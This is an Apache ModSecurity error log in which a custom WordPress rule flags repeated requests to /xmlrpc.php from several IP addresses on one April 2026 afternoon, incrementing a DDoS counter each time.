[Sun Apr 19 17:30:38.546223 2026] [:error] [pid 15760:tid 15792] [client 172.98.33.181:48053] [client 172.98.33.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgvvSdD_XHQMJ_ISu9twAAAdg"]
[Sun Apr 19 17:30:49.310836 2026] [:error] [pid 15765:tid 15856] [client 172.98.33.188:56075] [client 172.98.33.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSgyfRqinw-W5EwQ77e-gAAAoM"]
[Sun Apr 19 17:30:59.994644 2026] [:error] [pid 47772:tid 47804] [client 172.98.33.184:51913] [client 172.98.33.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSg04c0L16cb4smAz94tQAAAA8"]
[Sun Apr 19 17:31:10.803827 2026] [:error] [pid 47772:tid 47792] [client 45.132.115.242:22935] [client 45.132.115.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSg3oc0L16cb4smAz94vQAAAAM"]
[Sun Apr 19 17:31:21.388120 2026] [:error] [pid 47773:tid 47819] [client 45.132.115.235:52917] [client 45.132.115.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSg6eiBHdnCJDuPq9AV-gAAAEM"]
[Sun Apr 19 17:31:32.078849 2026] [:error] [pid 15763:tid 15812] [client 45.132.115.234:35345] [client 45.132.115.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSg9LMXv1Y1THOoxaDBdAAAAhA"]
[Sun Apr 19 17:31:42.775923 2026] [:error] [pid 15764:tid 15842] [client 45.132.115.235:26639] [client 45.132.115.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSg_mLL_sqdSHoVp-TDEgAAAlA"]
[Sun Apr 19 17:31:53.419827 2026] [:error] [pid 47886:tid 47906] [client 45.132.115.241:20985] [client 45.132.115.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.241, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShCUSe8yiyuPrD7yNYIQAAANI"]
[Sun Apr 19 17:32:03.992821 2026] [:error] [pid 15763:tid 15805] [client 172.98.33.186:45531] [client 172.98.33.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShE7MXv1Y1THOoxaDBhwAAAgk"]
[Sun Apr 19 17:32:14.749642 2026] [:error] [pid 47775:tid 47847] [client 45.132.115.208:35855] [client 45.132.115.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShHrmztjlk9tsmoezxCwAAAIQ"]
[Sun Apr 19 17:32:25.454391 2026] [:error] [pid 15764:tid 15848] [client 45.132.115.240:34979] [client 45.132.115.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShKWLL_sqdSHoVp-TDNAAAAlY"]
[Sun Apr 19 17:32:36.100407 2026] [:error] [pid 15760:tid 15778] [client 45.132.115.213:24301] [client 45.132.115.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShNPSdD_XHQMJ_ISu-FAAAAco"]
[Sun Apr 19 17:32:46.655707 2026] [:error] [pid 47886:tid 47901] [client 45.132.115.211:38849] [client 45.132.115.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShPkSe8yiyuPrD7yNYPAAAAM0"]
[Sun Apr 19 17:32:57.379826 2026] [:error] [pid 47772:tid 47805] [client 45.132.115.239:60115] [client 45.132.115.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShSYc0L16cb4smAz95MQAAABA"]
[Sun Apr 19 17:33:08.037444 2026] [:error] [pid 15760:tid 15782] [client 45.132.115.236:48131] [client 45.132.115.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShVPSdD_XHQMJ_ISu-ZgAAAc4"]
[Sun Apr 19 17:33:18.816078 2026] [:error] [pid 47773:tid 47816] [client 45.132.115.212:55003] [client 45.132.115.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShXuiBHdnCJDuPq9AWPgAAAEA"]
[Sun Apr 19 17:33:29.381977 2026] [:error] [pid 47773:tid 47840] [client 172.98.33.187:34953] [client 172.98.33.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShaeiBHdnCJDuPq9AWQgAAAFg"]
[Sun Apr 19 17:33:39.913567 2026] [:error] [pid 15760:tid 15785] [client 45.132.115.213:58967] [client 45.132.115.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShc_SdD_XHQMJ_ISu-kQAAAdE"]
[Sun Apr 19 17:33:50.764821 2026] [:error] [pid 15764:tid 15844] [client 45.132.115.207:63001] [client 45.132.115.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShfmLL_sqdSHoVp-TDqAAAAlI"]
[Sun Apr 19 17:34:01.340343 2026] [:error] [pid 15764:tid 15831] [client 45.132.115.234:42901] [client 45.132.115.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShiWLL_sqdSHoVp-TD6AAAAkU"]
[Sun Apr 19 17:34:11.874705 2026] [:error] [pid 15760:tid 15769] [client 45.132.115.238:42169] [client 45.132.115.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShk_SdD_XHQMJ_ISu-6gAAAcE"]
[Sun Apr 19 17:34:22.449176 2026] [:error] [pid 47773:tid 47821] [client 45.132.115.239:31887] [client 45.132.115.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShnuiBHdnCJDuPq9AWdQAAAEU"]
[Sun Apr 19 17:34:33.135006 2026] [:error] [pid 15760:tid 15774] [client 45.132.115.207:29049] [client 45.132.115.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShqfSdD_XHQMJ_ISu_SQAAAcY"]
[Sun Apr 19 17:34:54.379876 2026] [:error] [pid 47772:tid 47789] [client 172.98.33.183:39183] [client 172.98.33.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShvoc0L16cb4smAz950wAAAAA"]
[Sun Apr 19 17:35:05.078769 2026] [:error] [pid 15693:tid 15711] [client 45.132.115.243:51377] [client 45.132.115.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeShycNMD-ccazQlTslGZgAAAU8"]
[Sun Apr 19 17:35:15.745863 2026] [:error] [pid 47772:tid 47792] [client 45.132.115.207:42767] [client 45.132.115.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSh04c0L16cb4smAz959AAAAAM"]
[Sun Apr 19 17:35:26.377505 2026] [:error] [pid 15760:tid 15775] [client 172.98.33.184:62283] [client 172.98.33.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSh3vSdD_XHQMJ_ISu_2AAAAcc"]
[Sun Apr 19 17:35:47.613006 2026] [:error] [pid 15763:tid 15809] [client 45.132.115.206:51609] [client 45.132.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSh87MXv1Y1THOoxaDCfAAAAg0"]
[Sun Apr 19 17:35:58.167022 2026] [:error] [pid 15760:tid 15775] [client 172.98.33.185:56663] [client 172.98.33.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSh_vSdD_XHQMJ_ISvALAAAAcc"]
[Sun Apr 19 17:36:08.763734 2026] [:error] [pid 15765:tid 15857] [client 45.132.115.238:57781] [client 45.132.115.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiCPRqinw-W5EwQ77ffgAAAoQ"]
[Sun Apr 19 17:36:30.052764 2026] [:error] [pid 15765:tid 15872] [client 172.98.33.182:22725] [client 172.98.33.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiHvRqinw-W5EwQ77fiwAAApM"]
[Sun Apr 19 17:36:51.265873 2026] [:error] [pid 47886:tid 47889] [client 45.132.115.236:60001] [client 45.132.115.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiM0Se8yiyuPrD7yNZBgAAAME"]
[Sun Apr 19 17:37:01.873336 2026] [:error] [pid 47772:tid 47794] [client 45.132.115.208:47957] [client 45.132.115.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiPYc0L16cb4smAz96ZQAAAAU"]
[Sun Apr 19 17:37:12.490621 2026] [:error] [pid 15693:tid 15709] [client 172.98.33.188:56581] [client 172.98.33.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiSMNMD-ccazQlTslGowAAAU0"]
[Sun Apr 19 17:37:23.150490 2026] [:error] [pid 15760:tid 15782] [client 45.132.115.209:43583] [client 45.132.115.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiU_SdD_XHQMJ_ISvApQAAAc4"]
[Sun Apr 19 17:37:33.684219 2026] [:error] [pid 47775:tid 47863] [client 45.132.115.204:48125] [client 45.132.115.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiXbmztjlk9tsmoezx4QAAAJQ"]
[Sun Apr 19 17:37:44.523454 2026] [:error] [pid 15763:tid 15797] [client 45.132.115.204:59349] [client 45.132.115.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiaLMXv1Y1THOoxaDC5QAAAgE"]
[Sun Apr 19 17:37:55.358782 2026] [:error] [pid 15763:tid 15811] [client 45.132.115.209:21967] [client 45.132.115.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSic7MXv1Y1THOoxaDC-QAAAg8"]
[Sun Apr 19 17:38:05.702349 2026] [:error] [pid 15760:tid 15771] [client 172.98.33.186:27057] [client 172.98.33.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiffSdD_XHQMJ_ISvBQAAAAcM"]
[Sun Apr 19 17:38:16.292133 2026] [:error] [pid 15763:tid 15816] [client 172.98.33.186:26923] [client 172.98.33.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.186, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiiLMXv1Y1THOoxaDDDwAAAhQ"]
[Sun Apr 19 17:38:27.039857 2026] [:error] [pid 15764:tid 15847] [client 172.98.33.182:21859] [client 172.98.33.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSik2LL_sqdSHoVp-TFMAAAAlU"]
[Sun Apr 19 17:38:37.582838 2026] [:error] [pid 15760:tid 15775] [client 45.132.115.239:45737] [client 45.132.115.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.239, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSinfSdD_XHQMJ_ISvBnQAAAcc"]
[Sun Apr 19 17:38:48.162549 2026] [:error] [pid 15760:tid 15779] [client 45.132.115.212:62905] [client 45.132.115.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiqPSdD_XHQMJ_ISvBtAAAAcs"]
[Sun Apr 19 17:38:58.838685 2026] [:error] [pid 15764:tid 15828] [client 45.132.115.234:30637] [client 45.132.115.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSismLL_sqdSHoVp-TFYQAAAkI"]
[Sun Apr 19 17:39:09.538395 2026] [:error] [pid 47773:tid 47825] [client 45.132.115.206:55697] [client 45.132.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSiveiBHdnCJDuPq9AXcQAAAEk"]
[Sun Apr 19 17:39:41.591974 2026] [:error] [pid 15760:tid 15784] [client 45.132.115.243:43701] [client 45.132.115.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSi3fSdD_XHQMJ_ISvB_QAAAdA"]
[Sun Apr 19 17:39:52.231083 2026] [:error] [pid 15760:tid 15771] [client 172.98.33.185:39263] [client 172.98.33.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.185, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSi6PSdD_XHQMJ_ISvCIAAAAcM"]
[Sun Apr 19 17:40:02.861935 2026] [:error] [pid 47772:tid 47805] [client 45.132.115.242:46341] [client 45.132.115.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSi8oc0L16cb4smAz97GQAAABA"]
[Sun Apr 19 17:40:13.459198 2026] [:error] [pid 47772:tid 47799] [client 45.132.115.211:27747] [client 45.132.115.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSi_Yc0L16cb4smAz97IQAAAAo"]
[Sun Apr 19 17:40:24.193303 2026] [:error] [pid 47773:tid 47819] [client 45.132.115.240:61995] [client 45.132.115.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.240, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSjCOiBHdnCJDuPq9AXjAAAAEM"]
[Sun Apr 19 18:28:39.918901 2026] [:error] [pid 15764:tid 15845] [client 87.98.165.243:49994] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeSuV2LL_sqdSHoVp-TS4wAAAlM"]
[Sun Apr 19 18:53:32.393096 2026] [:error] [pid 15763:tid 15815] [client 103.79.170.115:4543] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0LLMXv1Y1THOoxaDQbwAAAhM"]
[Sun Apr 19 18:53:42.635513 2026] [:error] [pid 47775:tid 47856] [client 103.79.170.115:5279] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0Nrmztjlk9tsmoez70gAAAI0"]
[Sun Apr 19 18:53:53.148328 2026] [:error] [pid 15760:tid 15768] [client 103.79.170.115:4598] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0QfSdD_XHQMJ_ISveKQAAAcA"]
[Sun Apr 19 18:54:03.714786 2026] [:error] [pid 15764:tid 15835] [client 103.79.170.115:4555] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0S2LL_sqdSHoVp-TZJAAAAkk"]
[Sun Apr 19 18:54:14.207372 2026] [:error] [pid 15694:tid 15736] [client 103.79.170.115:5201] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0VrimB-jol1fwqAr9MwAAAYo"]
[Sun Apr 19 18:54:24.747612 2026] [:error] [pid 15763:tid 15802] [client 103.79.170.115:4649] [client 103.79.170.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.79.170.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeS0YLMXv1Y1THOoxaDQ1wAAAgY"]
